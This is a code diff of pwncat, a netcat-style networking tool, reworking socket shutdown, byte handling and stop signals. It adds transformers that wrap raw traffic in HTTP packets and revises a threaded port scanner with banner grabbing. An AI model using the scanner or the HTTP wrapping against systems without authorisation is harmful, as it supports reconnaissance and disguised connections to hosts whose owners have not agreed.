self.__log.error(msg) raise socket.error(msg) - def accept(self, sockets, fstop): - # type: (List[socket.socket], Callable[[], bool]) -> Tuple[socket.socket, Tuple[str, int]] + def accept( + self, + sockets, # type: List[socket.socket] + has_quit, # type: Callable[[], bool] + select_timeout=0.01, # type: float + ): + # type: (...) -> Tuple[socket.socket, Tuple[str, int]] """Accept a single connection from given list of sockets. Given sockets must be bound to an addr and listening for connections. Args: sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on. - fstop (Callable[[], bool]): A function that returns True if abort is requested. + has_quit (Callable[[], bool]): A function that returns True if abort is requested. + select_timeout (float): Timeout to poll sockets for connected clients. Returns: - socket.socket: Returns the connection socket (whatever protocol was faster). + (socket.socket, str, int): Returns tuple of socket, address and port of client. Raises: socket.error: Raised if server cannot accept connection or stop signal is requested. """ self.__log.debug("Waiting for TCP client") while True: - ssockets = select.select(sockets, [], [], 0.01)[0] # type: List[socket.socket] - if fstop(): - raise socket.error("StopSignal acknknowledged") + try: + ssockets = select.select(sockets, [], [], select_timeout)[ + 0 + ] # type: List[socket.socket] + except select.error as err: + raise socket.error(err) + if has_quit(): + raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()") for sock in ssockets: try: conn, addr = sock.accept() @@ -1615,13 +1645,18 @@

Module pwncat

port (int): Port of server to connect to. Returns: - Tuple[str,int]: Adress/port tuple of local bin of the client. + Tuple[str,int]: Adress/port tuple of local bind of the client. Raises: socker.error: If client cannot connect to remote peer or custom bind did not succeed. """ - sock_family_name = self.get_family_name(sock.family) - sock_type_name = self.get_type_name(sock.type) + try: + # If the socket was already closed elsewhere, it won't have family or type anymore + sock_family_name = self.get_family_name(sock.family) + sock_type_name = self.get_type_name(sock.type) + except AttributeError as error: + raise socket.error(error) + # Bind to a custom addr/port if src_addr is not None and src_port is not None: try: @@ -1690,29 +1725,72 @@

Module pwncat

# -------------------------------------------------------------------------- # Destroy functions # -------------------------------------------------------------------------- - def close(self, sock, name): + def shutdown_recv(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for receiving data (only allow to send data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for receive. + """ + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + self.__log.trace("Shutting down %s socket for receiving", name) # type: ignore + sock.shutdown(socket.SHUT_RD) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def shutdown_send(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for sending data (only allow to receive data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for send. + """ + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + self.__log.trace("Shutting down %s socket for sending", name) # type: ignore + sock.shutdown(socket.SHUT_WR) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def close(self, sock, name): # pylint: disable=unused-argument,no-self-use # type: (socket.socket, str) -> None """Shuts down and closes a socket. Args: + sock (socket.socket): Socket to shutdown and close. name (str): Name of the socket used for logging purposes. - sock (str): Socket to shutdown and close. """ + # NOTE: Logging is removed here as this is too much overhead when using + # the port scanner (it will have thousands of threads and too many + # calls to the logger which will cause issues with its shutdown + # and a massive performance degrade as well. try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both - self.__log.trace("Shutting down %s socket", name) # type: ignore + # self.__log.trace("Shutting down %s socket", name) # type: ignore sock.shutdown(socket.SHUT_RDWR) - except (OSError, socket.error) as error: + except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass try: - self.__log.trace("Closing %s socket", name) # type: ignore + # self.__log.trace("Closing %s socket", name) # type: ignore sock.close() - except (OSError, socket.error) as error: - self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore + except (OSError, socket.error): + pass + # self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore class Net(object): @@ -1722,12 +1800,12 @@

Module pwncat

# Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, encoder, ssig, options): - # type: (StringEncoder, StopSignal, DsSock) -> None + # type: (StringEncoder, InterruptHandler, DsSock) -> None """Instantiate Sock class. Args: encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - ssig (StopSignal): Used to stop blocking loops. + ssig (InterruptHandler): Used to stop blocking loops. options (DsSock): Instance of DsSock. """ self.__log = logging.getLogger(__name__) # type: logging.Logger @@ -1796,15 +1874,23 @@

Module pwncat

# -------------------------------------------------------------------------- # Public Send / Receive Functions # -------------------------------------------------------------------------- + def send_eof(self): + # type: () -> None + """Close the active socket for sending. The remote part will get an EOF.""" + self.__sock.shutdown_send(self.__active["conn"], "conn") + def send(self, data): - # type: (str) -> int + # type: (bytes) -> int """Send data through a connected (TCP) or unconnected (UDP) socket. Args: - data (str): The data to send. + data (bytes): The data to send. Returns: int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. """ # UDP has some specialities as its socket is unconnected. # See also recv() for specialities on that side. @@ -1816,16 +1902,18 @@

Module pwncat

if not self.__active: self.__log.warning("UDP client has not yet connected. Queueing message") while not self.__active: + if self.__ssig.has_sock_quit(): + self.__log.trace( # type: ignore + "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)" + ) + return -1 time.sleep(0.01) curr = 0 # bytes send during one loop iteration send = 0 # total bytes send size = len(data) # bytes of data that needs to be send - byte = self.__enc.encode(data) - assert size == len(byte), "Encoding messed up string length, might need to do len() after." # Loop until all bytes have been send - # TODO: Does this make it impossible to send nullbytes (Ctrl+d) while send < size: self.__log.debug( "Trying to send %d bytes to %s:%d", @@ -1833,23 +1921,23 @@

Module pwncat

self.__active["remote_addr"], self.__active["remote_port"], ) - self.__log.trace("Trying to send: %s", repr(byte)) # type: ignore + self.__log.trace("Trying to send: %s", repr(data)) # type: ignore try: # Only UDP server has not made a connect() to the socket, all others # are already connected and need to use send() instead of sendto() if self.__udp_mode_server: curr = self.__active["conn"].sendto( - byte, (self.__active["remote_addr"], self.__active["remote_port"]) + data, (self.__active["remote_addr"], self.__active["remote_port"]) ) send += curr else: - curr = self.__active["conn"].send(byte) + curr = self.__active["conn"].send(data) send += curr if curr == 0: self.__log.error("No bytes send during loop round.") return 0 # Remove 'curr' many bytes from byte for the next round - byte = byte[curr:] + data = data[curr:] self.__log.debug( "Sent %d bytes to %s:%d (%d bytes remaining)", curr, @@ -1857,23 +1945,23 @@

Module pwncat

self.__active["remote_port"], size - send, ) - except (OSError, socket.error) as error: - self.__log.error("Socket OS Error: %s", error) - return send + except (IOError, OSError, socket.error) as error: + msg = "Socket send Error: {}".format(error) + raise socket.error(msg) return send def receive(self): - # type: () -> str + # type: () -> bytes """Receive and return data from the connected (TCP) or unconnected (UDP) socket. Returns: - str: Returns received data from connected (TCP) or unconnected (UDP) socket. + bytes: Returns received data from connected (TCP) or unconnected (UDP) socket. Raises: socket.timeout: Except here to do an action when the socket is not busy. AttributeError: Except here when current instance has closed itself (Ctrl+c). socket.error: Except here when unconnected or connection was forcibly closed. - EOFError: Except here when upstream has closed the connection. + EOFError: Except here when upstream has closed the connection via EOF. """ # This is required for a UDP server that has no connected clients yet # and is waiting for data receival for the first time on either IPv4 or IPv6 @@ -1889,9 +1977,9 @@

Module pwncat

0 ] # type: List[socket.socket] # E.g.: ValueError: file descriptor cannot be a negative integer (-1) - except (ValueError, AttributeError): - msg = "Connection was closed by self." - self.__log.warning(msg) + except (ValueError, AttributeError) as error: + msg = "Connection was closed by self: [1]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) if not conns: # This is raised for the calling function to determine what to do @@ -1903,12 +1991,12 @@

Module pwncat

conn = conns[0] # type: socket.socket try: # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html - (byte, addr) = conn.recvfrom(self.__options.bufsize) + (data, addr) = conn.recvfrom(self.__options.bufsize) # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called) - except AttributeError: - msg = "Connection was closed by self." - self.__log.warning(msg) + except AttributeError as error: + msg = "Connection was closed by self: [2]: {}".format(error) + self.__log.debug(msg) raise AttributeError(msg) # [2/5] Connection was forcibly closed @@ -1916,14 +2004,14 @@

Module pwncat

# [Errno 10054] An existing connection was forcibly closed by the remote host # [WinError 10054] An existing connection was forcibly closed by the remote host except (OSError, socket.error) as error: - self.__log.warning("Connection error: %s", error) + self.__log.debug("Connection error: %s", error) raise socket.error(error) # [3/5] Upstream (server or client) is gone. # In TCP, there is no such thing as an empty message, so zero means a peer disconnect. # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram. - if not byte: - msg = "Upstream has closed the connection." + if not data: + msg = "EOF: Remote finished sending." self.__log.info(msg) raise EOFError(msg) @@ -1961,7 +2049,6 @@

Module pwncat

} # [5/5] We have data to process - data = self.__enc.decode(byte) self.__log.debug( "Received %d bytes from %s:%d", len(data), @@ -1996,6 +2083,7 @@

Module pwncat

"conn": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -2100,6 +2188,7 @@

Module pwncat

"sock": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -2198,24 +2287,27 @@

Module pwncat

return False # (2/3) Accept + remove = {} try: conn, client = self.__sock.accept( - [conns[family]["sock"] for family in conns], self.__ssig.has_stop + [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit ) conns[conn.family]["conn"] = conn conns[conn.family]["remote_addr"] = client[0] conns[conn.family]["remote_port"] = client[1] except socket.error as err: - # On error, remove all bind sockets - for family in conns: - self.__log.debug( - "Removing (family %d/%s) due to: %s", - family, - self.__sock.get_family_name(family), - err, - ) - self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) - del conns[family] + remove = {family: str(err) for family in conns} + # On error, remove all bind sockets + for family in remove: + self.__log.debug( + "Removing (family %d/%s) due to: %s", + family, + self.__sock.get_family_name(family), + remove[family], + ) + self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) + del conns[family] + if not conns: return False # (3/3) Store connections @@ -2248,7 +2340,7 @@

Module pwncat

# [2/3] Accept try: conn, client = self.__sock.accept( - [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_stop + [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit ) except socket.error: return False @@ -2289,7 +2381,7 @@

Module pwncat

# ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (1/3): Transform +# [5/11 TRANSFORM]: (1/5): Transform # ------------------------------------------------------------------------------------------------- class Transform(ABC): # type: ignore """Abstract class to for pwncat I/O transformers. @@ -2321,16 +2413,19 @@

Module pwncat

# -------------------------------------------------------------------------- @abstractmethod def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Implement a transformer function which transforms a string.. + Args: + data (bytes): data to be transformed. + Returns: - str: The transformed string. + bytes: The transformed string. """ # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (2/3) TransformLinefeed +# [5/11 TRANSFORM]: (2/5) TransformLinefeed # ------------------------------------------------------------------------------------------------- class TransformLinefeed(Transform): """Implement basic linefeed replacement.""" @@ -2353,7 +2448,7 @@

Module pwncat

# Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Transform linefeeds to CRLF, LF or CR if requested. Returns: @@ -2365,46 +2460,46 @@

Module pwncat

# ? -> No line feeds if self.__opts.crlf == "no": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Removing CRLF") return data[:-2] - if data.endswith("\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Removing LF") return data[:-1] - if data.endswith("\r"): + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Removing CR") return data[:-1] # ? -> CRLF - if self.__opts.crlf == "crlf" and not data.endswith("\r\n"): - if data.endswith("\n"): + if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CRLF") - return data[:-1] + "\r\n" - if data.endswith("\r"): + return data[:-1] + StringEncoder.encode("\r\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with CRLF") - return data[:-1] + "\r\n" + return data[:-1] + StringEncoder.encode("\r\n") # ? -> LF if self.__opts.crlf == "lf": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with LF") - return data[:-2] + "\n" - if data.endswith("\r"): + return data[:-2] + StringEncoder.encode("\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with LF") - return data[:-1] + "\n" + return data[:-1] + StringEncoder.encode("\n") # ? -> CR if self.__opts.crlf == "cr": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with CR") - return data[:-2] + "\r" - if data.endswith("\n"): + return data[:-2] + StringEncoder.encode("\r") + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CR") - return data[:-1] + "\r" + return data[:-1] + StringEncoder.encode("\r") # Otherwise just return it as it is return data # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (3/3) TransformSafeword +# [5/11 TRANSFORM]: (3/5) TransformSafeword # ------------------------------------------------------------------------------------------------- class TransformSafeword(Transform): """Implement a trigger to emergency shutdown upon receival of a specific safeword.""" @@ -2428,18 +2523,166 @@

Module pwncat

# Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Raise a stop signal upon receiving the safeword. Returns: str: The string as it is without changes """ - if self.__opts.safeword in data: - self.__log.info("Received safeword: raising stop signal.") - self.__opts.ssig.raise_stop() + if StringEncoder.encode(self.__opts.safeword) in data: + self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform") # type: ignore + self.__opts.ssig.raise_terminate() return data +# ------------------------------------------------------------------------------------------------- +# [5/11 TRANSFORM]: (4/5) TransformHttpPack +# ------------------------------------------------------------------------------------------------- +class TransformHttpPack(Transform): + """Implement a transformation to pack data into HTTP packets.""" + + # -------------------------------------------------------------------------- + # Constructor / Destructor + # -------------------------------------------------------------------------- + def __init__(self, opts): + # type: (Dict[str, str]) -> None + """Set specific options for this transformer. + + Args: + opts (DsTransformLinefeed): Transformer options. + + """ + super(TransformHttpPack, self).__init__() + self.__opts = opts + self.__log = logging.getLogger(__name__) + + assert "reply" in opts + assert opts["reply"] in ["request", "response"] + + # Initial default header + self.__headers = [ + "Accept-Charset: utf-8", + ] + + self.__response_headers_sent = False + + # -------------------------------------------------------------------------- + # Public Functions + # -------------------------------------------------------------------------- + def transform(self, data): + # type: (bytes) -> bytes + """Wrap data into a HTTP packet. + + Returns: + bytes: The wrapped string. + """ + request_header = [ + "POST / HTTP/1.1", + "Host: {}".format(self.__opts["host"]), + "User-Agent: pwncat", + "Accept: */*", + "Conent-Length: {}".format(len(data)), + "Content-Type: text/plain; charset=UTF-8", + ] + response_header = [ + "HTTP/1.1 200 OK", + "Date: {}".format(self.__get_date()), + "Server: pwncat", + "Conent-Length: {}".format(len(data)), + "Connection: close", + ] + + self.__response_headers_sent = True + + if self.__opts["reply"] == "request": + header = StringEncoder.encode( + "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n" + ) + else: + header = StringEncoder.encode( + "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n" + ) + return header + data + + # -------------------------------------------------------------------------- + # Private Functions + # -------------------------------------------------------------------------- + def __get_date(self): # pylint: disable=no-self-use + # type: () -> str + now = datetime.utcnow() + weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()] + month = [ + "Jan", + "Feb", + "Mar", + "Apr", + "May", + "Jun", + "Jul", + "Aug", + "Sep", + "Oct", + "Nov", + "Dec", + ][now.month - 1] + return "%s, %02d %s %04d %02d:%02d:%02d GMT" % ( + weekday, + now.day, + month, + now.year, + now.hour, + now.minute, + now.second, + ) + + +# ------------------------------------------------------------------------------------------------- +# [5/11 TRANSFORM]: (5/5) TransformHttpUnpack +# ------------------------------------------------------------------------------------------------- +class TransformHttpUnpack(Transform): + """Implement a transformation to unpack data from HTTP packets.""" + + # -------------------------------------------------------------------------- + # Constructor / Destructor + # -------------------------------------------------------------------------- + def __init__(self, opts): + # type: (Dict[str, str]) -> None + """Set specific options for this transformer. + + Args: + opts (DsTransformLinefeed): Transformer options. + + """ + super(TransformHttpUnpack, self).__init__() + self.__opts = opts + self.__log = logging.getLogger(__name__) + + # -------------------------------------------------------------------------- + # Public Functions + # -------------------------------------------------------------------------- + def transform(self, data): + # type: (bytes) -> bytes + """Unwrap data from a HTTP packet. + + Returns: + str: The wrapped string. + """ + request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)") + response = StringEncoder.encode(r"^HTTP/[.0-9]+") + + # Did not receive a valid HTTP request, so we return the original untransformed message + if not (re.match(request, data) or re.match(response, data)): + return data + + body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)") + match = re.search(body, data) + + # Check if we can separate headers and body + if match is None or len(match.group()) < 2: + return data + return match.group(2) + + # ################################################################################################# # ################################################################################################# # ### @@ -2472,8 +2715,8 @@

Module pwncat

# -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Read only property to provide a StopSignal instance to IO.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig @property @@ -2487,11 +2730,11 @@

Module pwncat

# -------------------------------------------------------------------------- @abstractmethod def __init__(self, ssig): - # type: (StopSignal) -> None + # type: (InterruptHandler) -> None """Set specific options for this IO module. Args: - ssig (StopSignal): StopSignal instance used by the interrupter. + ssig (InterruptHandler): InterruptHandler instance used by the interrupter. """ super(IO, self).__init__() self.__ssig = ssig @@ -2502,7 +2745,7 @@

Module pwncat

# -------------------------------------------------------------------------- @abstractmethod def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Implement a generator function which constantly yields data. The data could be from various sources such as: received from a socket, @@ -2514,7 +2757,7 @@

Module pwncat

@abstractmethod def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Define a consumer callback which will apply an action on the producer output. Args: @@ -2529,8 +2772,6 @@

Module pwncat

Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer. - - You should at least implement it with "self.ssig.raise_stop()" """ @@ -2540,12 +2781,18 @@

Module pwncat

class IONetwork(IO): """Pwncat implementation based on custom Socket library.""" + @property + def net(self): + # type: () -> Net + """Returns instance of Net.""" + return self.__net + # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str ports, # type: List[int] @@ -2558,7 +2805,7 @@

Module pwncat

"""Create a Pwncat instance of either a server or a client. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. ports ([int]): List of ports to connect to or listen on. @@ -2576,6 +2823,9 @@

Module pwncat

self.__srv_opts = srv_opts self.__cli_opts = cli_opts + # Did we already run cleanup + self.__cleaned_up = False + # Internally store addresses for reconn or rebind functions self.__host = host self.__ports = ports @@ -2594,7 +2844,7 @@

Module pwncat

# Public Functions # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Network receive generator which hooks into the receive function and adds features. Yields: @@ -2610,9 +2860,16 @@

Module pwncat

try: yield self.__net.receive() # [2/3] Non-blocking socket is finished receiving data and allows us to do some action - except socket.timeout: + except socket.timeout as err: + # Check if we close the socket for sending + if self.ssig.has_sock_send_eof(): + self.log.trace( # type: ignore + "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err + ) + self.__net.send_eof() + # Let's ask the interrupter() function if we should terminate? - if not self.ssig.has_stop(): + if not self.ssig.has_sock_quit(): continue # Stop signal is raied when my own side of the network was closed. # Happened most likely that the user pressed Ctrl+c @@ -2627,12 +2884,19 @@

Module pwncat

curr_recv_timeout_retry += 1 continue # We ware all done reading, shut down - self.ssig.raise_stop() + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err + ) + self.__cleanup() return - # [3/3] Upstream is gone - except (EOFError, AttributeError, socket.error): + # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar) + except (EOFError, AttributeError, socket.error) as err: # Do we have a stop signal? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err + ) + self.__cleanup() return # Do we re-accept new clients? if self.__sock_opts.udp: @@ -2642,27 +2906,37 @@

Module pwncat

continue if self.__role == "client" and self.__client_reconnect_to_server(): continue - return + # Inform everybody that we are quitting + self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer") # type: ignore + self.ssig.raise_sock_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data to a socket.""" - self.__net.send(data) + try: + self.__net.send(data) + except socket.error: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" - self.log.trace( # type: ignore - "[IONetwork] socket.close was raised by calling interrupt() externally." - ) - self.__net.close_conn_sock() - self.__net.close_bind_sock() - # Raise stop signal - self.ssig.raise_stop() + self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt") # type: ignore + self.ssig.raise_sock_quit() + self.__cleanup() # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore + self.__net.close_conn_sock() + self.__net.close_bind_sock() + self.__cleaned_up = True + def __client_reconnect_to_server(self): # type: () -> bool """Ensure the client re-connects to the remote server, if the remote server hang up. @@ -2675,13 +2949,14 @@

Module pwncat

# reconn < 0 (endlessly) # reconn > 0 (reconnect until counter reaches zero) while self.__cli_opts.reconn != 0: - # [1/6] Let's ask the interrupter() function if we should terminate? # We need a little wait here in order for the stop signal to propagate. # Don't know how fast the other threads are. - # time.sleep(0.1) - # if self.ssig.has_stop(): - # return False + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]" + ) + return False # [2/6] Wait time.sleep(self.__cli_opts.reconn_wait) @@ -2689,7 +2964,10 @@

Module pwncat

# [3/6] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/5] # we will check again here. - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]" + ) return False # [4/6] Increment the port numer (if --reconn-robin has multiple) @@ -2733,7 +3011,10 @@

Module pwncat

while self.__srv_opts.rebind != 0: # [1/7] Let's ask the interrupter() function if we should terminate? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]" + ) return False # [2/7] Increment the port numer (if --reconn-robin has multiple) @@ -2766,7 +3047,10 @@

Module pwncat

# [6/7] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/7] # we will check again here. - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]" + ) return False # [6/7] Recurse until True or reconnect count is used up @@ -2795,9 +3079,12 @@

Module pwncat

# [MAYBE] Check stop signal and otherwise try until success. while True: - time.sleep(0.1) + time.sleep(0.01) # [NO] We have a stop signal - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client" + ) return False # [YES] Re-accept indefinitely self.log.info("Re-accepting new clients") @@ -2838,7 +3125,7 @@

Module pwncat

# -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str banner, # type: bool @@ -2849,7 +3136,7 @@

Module pwncat

"""Create a Pwncat Network Scanner instance. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. banner (bool): Determines if we do banner grabbing as well. @@ -2858,19 +3145,19 @@

Module pwncat

""" super(IONetworkScanner, self).__init__(ssig) + self.__ssig = ssig self.__enc = encoder self.__cli_opts = cli_opts self.__sock_opts = sock_opts self.__banner = banner self.__log = logging.getLogger(__name__) - self.__net = Net(encoder, ssig, sock_opts) self.__sock = Sock() self.__screen_lock = threading.Semaphore() # Keep track of local binds (addr-port) of the threaded scanner # clients as we do not want to treat them as open ports (false posistives) - self.__local_binds = [] # type: List[str] + self.__local_binds = {} # type: Dict[str, socket.socket] # Compile our regexes if using banner detection if banner: @@ -2888,13 +3175,13 @@

Module pwncat

int(socket.AF_INET), ] self.__targets = {} - try: - for family in families: + for family in families: + try: self.__targets[family] = self.__sock.gethostbyname( host, family, not self.__sock_opts.nodns ) - except socket.gaierror: - pass + except socket.gaierror: + pass # -------------------------------------------------------------------------- # Public Functions @@ -2902,18 +3189,24 @@

Module pwncat

def __get_socket(self, family): # type: (Union[socket.AddressFamily, int]) -> socket.socket """Create socket for specific address family endlessly until resources are available.""" - # The scanner is starting many threads, each creating a single socket - # and we might hit the max allowed open files limit, so we will - # endlessly ask the system for a new socket until success. - # Also adding a delay, which will give other threads the time to - # release their sockets. + # The scanner starts one thread for each port to scan. Each thread will also create + # one socket and we might hit the max_allowed_files limit (ulimit). + # That's why we loop through creating sockets until we hit a success + # as in the meantime, other threads might have already released sockets/fd's. while True: + delay = 0.0 + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getsocket" + ) + raise socket.error("quit") try: if self.__sock_opts.udp: - return self.__sock.create_socket(family, socket.SOCK_DGRAM) - return self.__sock.create_socket(family, socket.SOCK_STREAM) + return self.__sock.create_socket(family, socket.SOCK_DGRAM, False) + return self.__sock.create_socket(family, socket.SOCK_STREAM, False) except socket.error: - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # This can be bigger to give the system some time to release fd's def __get_banner_version(self, banner): # type: (str) -> Optional[str] @@ -2930,7 +3223,7 @@

Module pwncat

for reg in self.BANNER_REG_COMP: match = re.search(reg, banner) if match: - return match.group(1).rstrip() + return StringEncoder.rstrip(match.group(1)) # type: ignore # Nothing found, return first non-empty line for line in lines: @@ -2949,25 +3242,30 @@

Module pwncat

payloads = self.BANNER_PAYLOADS[0] for payload in payloads: + # Break the loop on terminate signal + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port + ) + return (False, None) try: if payload is not None: sock.send(self.__enc.encode(payload)) self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload)) - sock.settimeout(0.1) + sock.settimeout(0.5) banner = sock.recv(self.__sock_opts.bufsize) version = self.__get_banner_version(self.__enc.decode(banner)) self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner)) return (True, version) except socket.timeout: - time.sleep(0.1) continue except (OSError, socket.error): return (False, None) return (True, None) def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Port scanner yielding open/closed string for given port. Args: @@ -2982,13 +3280,25 @@

Module pwncat

# Loop over adress families for family in self.__targets: + # [1/7] Check for termination request + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner.producer" + ) + return + addr = self.__targets[family] - # [1/5] Get socket - sock = self.__get_socket(family) + # [2/7] Get socket + try: + sock = self.__get_socket(family) + sock_type = sock.type + except (AttributeError, socket.error): + # Exception is triggered due to stop stignal and we + # will abort here in that case. + return - # [2/5] Connect scan - succ_conn = False + # [3/7] Connect scan try: laddr, lport = self.__sock.connect( sock, @@ -3002,64 +3312,78 @@

Module pwncat

